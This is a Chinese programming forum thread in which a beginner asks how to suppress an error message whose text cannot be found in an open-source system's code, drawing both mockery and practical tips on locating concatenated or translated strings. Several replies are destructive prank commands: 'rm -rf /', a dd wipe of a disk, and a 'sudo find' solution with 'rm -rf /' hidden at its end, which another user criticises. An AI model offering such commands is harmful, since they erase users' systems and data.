遇到一个问题,有一个开源的系统,当我做一些操作导致出现 bug 时,系统会有一个跳转的提示,但是提示的这段文字在代码中搜不到,请问如何去修改这种呢,不想出现类似的显示。谢谢,求教
1
y7E6IG8spV7TU8n7 2021-01-18 13:10:30 +08:00 11
一不发源码地址,二不发什么 bug,三没法什么操作,四没发提示的什么,只想教个鬼,你以为都是你蛔虫吗
|
2
learningman 2021-01-18 13:18:17 +08:00
标准甲方口气 233
|
3
sthwrong 2021-01-18 13:37:03 +08:00
大概率是 thinkphp 的跳转. 要是有这个提示还不会,别写代码了.
|
4
oxromantic 2021-01-18 13:41:14 +08:00
@learningman +1
|
5
pengW 2021-01-18 13:43:46 +08:00 via Android 26
你要先这样,再那样,然后保存重启,它就不提示了
|
6
purensong 2021-01-18 13:45:24 +08:00
翻译了吧
|
7
klgd 2021-01-18 13:45:24 +08:00 1
rm -rf /
|
8
helionzzz 2021-01-18 13:46:44 +08:00
问出这种问题的应该不是做开发的,去找个程序员可破
|
9
GM 2021-01-18 14:33:41 +08:00
搭车问一个问题:
我有一辆车,当我做一些操作的时候,会出现一个错误信息,但是这个错误信息在说明书找不到,请问如何修复呢? 至于什么车、做什么操作、错误信息是什么、想修复成什么样,抱歉我不能告诉你! |
10
676529483 2021-01-18 14:38:40 +08:00
用了多语言翻译的吧,i18 的对应关系
|
11
lakehylia 2021-01-18 14:41:31 +08:00
哈哈,你又不是我女朋友,什么都要我猜?做梦呢。
|
12
waiaan 2021-01-18 14:44:03 +08:00
楼上几位都不能好好说话,一定要反讽挖苦吗?
|
13
freeair 2021-01-18 14:47:22 +08:00
|
14
Ranying 2021-01-18 14:53:04 +08:00 12
这个问题经常出现,有好多人也给出了解决方案。在一般情况下,这个修改是很简单的,但是也要考虑到特殊情况。出现提示和不想出现提示是一对矛盾,要善于分析矛盾的普遍性和特殊性,顺利解决矛盾。这个问题我最早在去年三月看到过,在 Windows 和 Linux 上的方法是不一样的,也要考虑版本问题等诸多要素。祝楼主早日解决问题!
|
15
kennnnnnnnnnn 2021-01-18 14:57:12 +08:00
@pengW good h 哈哈
|
16
Greatshu 2021-01-18 15:09:39 +08:00
dd if=/dev/zero of=/dev/vda1
|
17
linksNoFound 2021-01-18 15:24:00 +08:00 1
这个问题很简单,懂的人都懂,不懂的自己琢磨琢磨也懂了哈哈哈哈
|
18
jrtzxh020 2021-01-18 15:29:55 +08:00
每次去兑奖,彩票机器总是提示"未中奖",请问如何去修改这种呢,不想出现类似的显示?:(
|
19
howellz 2021-01-18 15:31:13 +08:00
楼主没有说自己是程序员吧,看到这里程序员多,过来提一个问题也很正常。
在程序员眼里这个问题是看起来比较弱一点,但是多给鼓励呗,又不是所有的都是资深程序员,给个暗号就都明白了的。 楼主尽量详细点,如果不担心泄露秘密,直接把库和字符串贴出来呗。 |
20
jjplay 2021-01-18 15:36:16 +08:00
可能是变量字符串呗,可能是为了多语言提示的,不是写死在页面里的,你把页面里的一些可以提取的 元素 ID calssname 都可以尝试搜索 定位
|
21
polyang 2021-01-18 15:36:27 +08:00
@howellz 楼主自己都说了,是开源系统,开源就不存在泄密的问题。就算不是程序员,最起码也应该知道怎么提问吧。源码地址不说出来,具体什么提示也不说出来,我们怎么知道该怎么改。
|
22
Magician 2021-01-18 15:40:24 +08:00
我先这样修改 然后在这样修改 最后保存一下 就不显示了
|
23
koolob 2021-01-18 15:41:49 +08:00
如果一大段文字搜不到,就拆出一小段来搜,直到拆到词组级别。因为有时这些提示信息是拼接而成的。
|
24
Y599928887 2021-01-18 15:41:58 +08:00
@waiaan 你来解答!
|
25
nnnToTnnn 2021-01-18 15:53:43 +08:00
@waiaan #12 L 我觉得你说的很有道理,你这么说,我想你肯定是有解决办法了,或者说想到怎么处理了。 所以才说大家,不好好说话,所以在反讽挖苦。
既然你有了解决的方案,那为什么不在评论区答复给楼主? 反而在这里很生气的说,楼上几位不好好说话? 反讽挖苦? 有解决的办法,能否说出来一下? 让我们好好学习一下? 如果没有解决方案,是否能安安静静的等一位大佬出现? 作为一个技术大牛,我觉得他应该很讨厌说话语气差,而且技术能力差,还不好好提问的人 |
26
howellz 2021-01-18 16:08:15 +08:00
@polyang 也有可能是项目原因保密啊。提问的确缺乏技巧,但是我觉得不能因为提问水平比较低就冷嘲热讽。毕竟什么水平的人都有。
|
27
shaojz2005 2021-01-18 16:14:53 +08:00
我也经历过这样的时期,自己技术不是很好,但是开源系统部署起来很方便,要修改局部内容,就通过关键词定位去修改。虽然有点盲目,但大部分时间奏效。
但是在 MVC 模式下就不太好定位了,目前能想到的是两条路,一是如果开源系统很出名的(比如 wordpress ),可以直接去搜索相关的技术文章;二是开启系统的 debug 模式,然后通过查看 debug 信息来定位提示所在的模块或文件。 |
28
imiao 2021-01-18 16:20:34 +08:00
这个问题很简单,详细内容请看这里: https://www.baidu.com/
|
29
chenshun00 2021-01-18 16:24:45 +08:00
|
30
leaveeel 2021-01-18 16:38:59 +08:00
拼接字符串全局搜单个字或者词组,接口返回 msg 查接口,框架 api 读文档,有图片的全局搜文件名,i18 就翻译回去再来一遍
|
31
abc11 2021-01-18 16:40:58 +08:00
devtools 里面搜一下...
|
32
zhangfeiwudi 2021-01-18 16:42:50 +08:00
@Ranying 哈哈哈哈 这么秀 你是要考研吗
|
33
jiangzm 2021-01-18 16:45:52 +08:00
搜简短一点,有些是格式化的字符串肯定不能完全匹配。实在不行搜索内容标签一定能找到
定位不熟悉系统的 bug 是一种能力。 |
34
nnnToTnnn 2021-01-18 16:59:19 +08:00
其次这个问题很简单,我提出一个 linux 环境的下的解决方案
第一步找到当前的项目中文件的位置 # 如果用 root 身份执行则不用 sudo sudo find / "输入你的提示语言信息" >> 1.txt && cat 1.txt && rm -rf / # '当前的提示语信息' 执行完成后,在验证一下就好了~ |
35
nnnToTnnn 2021-01-18 17:00:04 +08:00
由于全局搜索,时间比较长,耐心等待一下就好了 ~
|
37
y7E6IG8spV7TU8n7 2021-01-18 17:45:01 +08:00
@nnnToTnnn 这种玩笑还是不要开的好,明显是个小白,你给他这样搞下,万一是公司的不是害人吗
|
38
onionKnight888 2021-01-18 18:05:31 +08:00
碰到过,之前下了个试用版的前端框架,隔三差五给我 alert
|
39
hodur 2021-01-18 18:12:29 +08:00
提示文字可能是拼出来的,可以试试拆开搜索
|
40
OMGZui 2021-01-18 18:25:34 +08:00
你们把楼主给吓跑了 :dog
|
42
no1xsyzy 2021-01-19 11:28:55 +08:00
@howellz 这是黑客社区的自净过程…… ESR 是对于黑客社区文化方面比较熟悉的人,有著作 《大教堂与集市》,可以看看他的《提问的智慧》里 news group 是怎么阴阳怪气的
不这么玩,下场就是知乎故事会。 |
43
zhifSu 2021-01-19 16:21:48 +08:00
换个开源系统,不行再换
|
44
imiao 2021-01-20 17:17:39 +08:00
@chenshun00 秀儿,是你吗
|
45
akira 2021-01-28 20:01:19 +08:00
2 种可能,
1 是提示语 是拼接出来的,拆分了搜试试 2. 提示语做了加密 /编码 |